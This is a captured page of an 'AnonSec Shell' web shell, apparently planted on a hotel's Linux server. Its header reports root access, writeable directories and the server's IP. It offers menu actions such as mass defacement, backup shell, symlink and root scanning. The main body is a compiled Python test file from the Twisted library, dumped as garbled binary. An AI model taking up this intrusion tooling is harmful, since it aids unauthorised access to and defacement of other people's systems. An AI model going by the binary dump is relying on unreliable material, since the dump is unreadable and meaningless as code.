AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/pair/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/pair/test/__pycache__/test_ip.cpython-310.pyc
o

�b�;�@sdddlmZddlmZmZddlmZddlmZe�	ej
�Gdd�d��ZGdd�dej�Z
d	S)
�)�	interface)�ip�raw)�
components)�unittestc@s$eZdZdd�Zdd�Zdd�ZdS)�
MyProtocolcCst|�|_dS�N)�list�	expecting)�selfr
�r�;/usr/lib/python3/dist-packages/twisted/pair/test/test_ip.py�__init__szMyProtocol.__init__c	Cs�|jsJd��|j�d�\}}|��}tt|��}t�}|D]}||||ks9Jd|�d||�d||����q||ksHJd|�d|����dS)Nz(Got a packet when not expecting anymore.rz	Expected �=z, got )r
�pop�keysr	�sorted�locals)r�data�partial�source�dest�protocol�version�ihl�tos�tot_len�fragment_id�fragment_offset�
dont_fragment�more_fragments�ttl�
expectData�expectKw�expectKwKeys�localVariables�krrr
�datagramReceiveds� zMyProtocol.datagramReceivedcCsdSrr)r�num�protorrr
�addProto-szMyProtocol.addProtoN)�__name__�
__module__�__qualname__rr'r*rrrr
r
src@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�IPTestscCsjt��}tddddddddd	d
dddd
d�
fg�}|�d|�|jdddddd�|jr3Jd|j��dS�N�foobarr�1.2.3.4�5.6.7.8������������
rrrrrrrrrrrr r!�Tޭ��FEfoobar�dummy�rrrr�5Should not expect any more packets, but still want %r�r�
IPProtocolrr*r'r
�rr)�p1rrr
�testPacketParsing3s>������zIPTests.testPacketParsingcCs�t��}tddddddddd	d
dddd
d�
fddddddddd	d
dddd
d�
fg�}|�d|�|jdddddd�|jdddddd�|jrNJd|j��dS)Nr0rr1r2r3r4r5r6r7r8r9r:r;r<�quux�5.4.3.2�6.7.8.9r=r>r?�Tޭ��FE	quuxr@rArCrrr
�testMultiplePacketscsl������(���zIPTests.testMultiplePacketscCs�t��}tddddddddd	d
dddd
d�
fg�}tddddddddd	d
dddd
d�
fg�}|�d|�|�d|�|jdddddd�|jrNJd|j��|jrXJd|j��dSr/rA�rr)rD�p2rrr
�testMultipleSameProtos�sl�����������zIPTests.testMultipleSameProtoscCs4t��}tg�}|�d|�|jdddddd�dS)Nr:r=rr>r?)rrBrr*r'rCrrr
�testWrongProtoNotSeens
�zIPTests.testWrongProtoNotSeencCs4t��}tddddddddd	d
dddd
d�
fddddddddd	d
dddd
d�
fg�}|�d|�tddddddddd	d
dddd
d�
fddddddddd	d
dddd
d�
fg�}|�d|�|jdddddd�|jdddddd�|jdddddd�|jdddddd�|jr�Jd|j��|jr�Jd|j��dS)Nr0rr1r2r3r4r5r6r7r8r9r:r;r<rFrGrH�
sTޭ��
FE	quuxr>r?r=rIsTޭ��
FEfoobarr@rArKrrr
�testDemuxings�������(������(������zIPTests.testDemuxingcCs6t��}z|�dd�Wtd��tjyYdSw)z2Adding a wrong level protocol raises an exception.�*�	silliness�2addProto must raise an exception for bad protocolsN)rrBr*r�CannotAdapt�AssertionError�r�errr
�testAddingBadProtos_WrongLevel�s��z&IPTests.testAddingBadProtos_WrongLevelc
C�Xt��}z
|�dtg��Wtd��ty+}z|jdkrn�WYd}~dSd}~ww)z=Adding a protocol with a negative number raises an exception.���)z'Added protocol must be positive or zeroNrS�rrBr*r�	TypeError�argsrUrVrrr
�testAddingBadProtos_TooSmall���
���z$IPTests.testAddingBadProtos_TooSmallc
CrY)�<Adding a protocol with a number >=2**32 raises an exception.l�z"Added protocol must fit in 32 bitsNrSr[rVrrr
�testAddingBadProtos_TooBig�r_z"IPTests.testAddingBadProtos_TooBigc
CrY)r`lraNrSr[rVrrr
�testAddingBadProtos_TooBig2�r_z#IPTests.testAddingBadProtos_TooBig2N)r+r,r-rErJrMrNrPrXr^rbrcrrrr
r.2s0RL#


r.N)�zoper�twisted.pairrr�twisted.pythonr�
twisted.trialr�implementer�IRawDatagramProtocolr�TestCaser.rrrr
�<module>s
'

Anon7 - 2022
AnonSec Team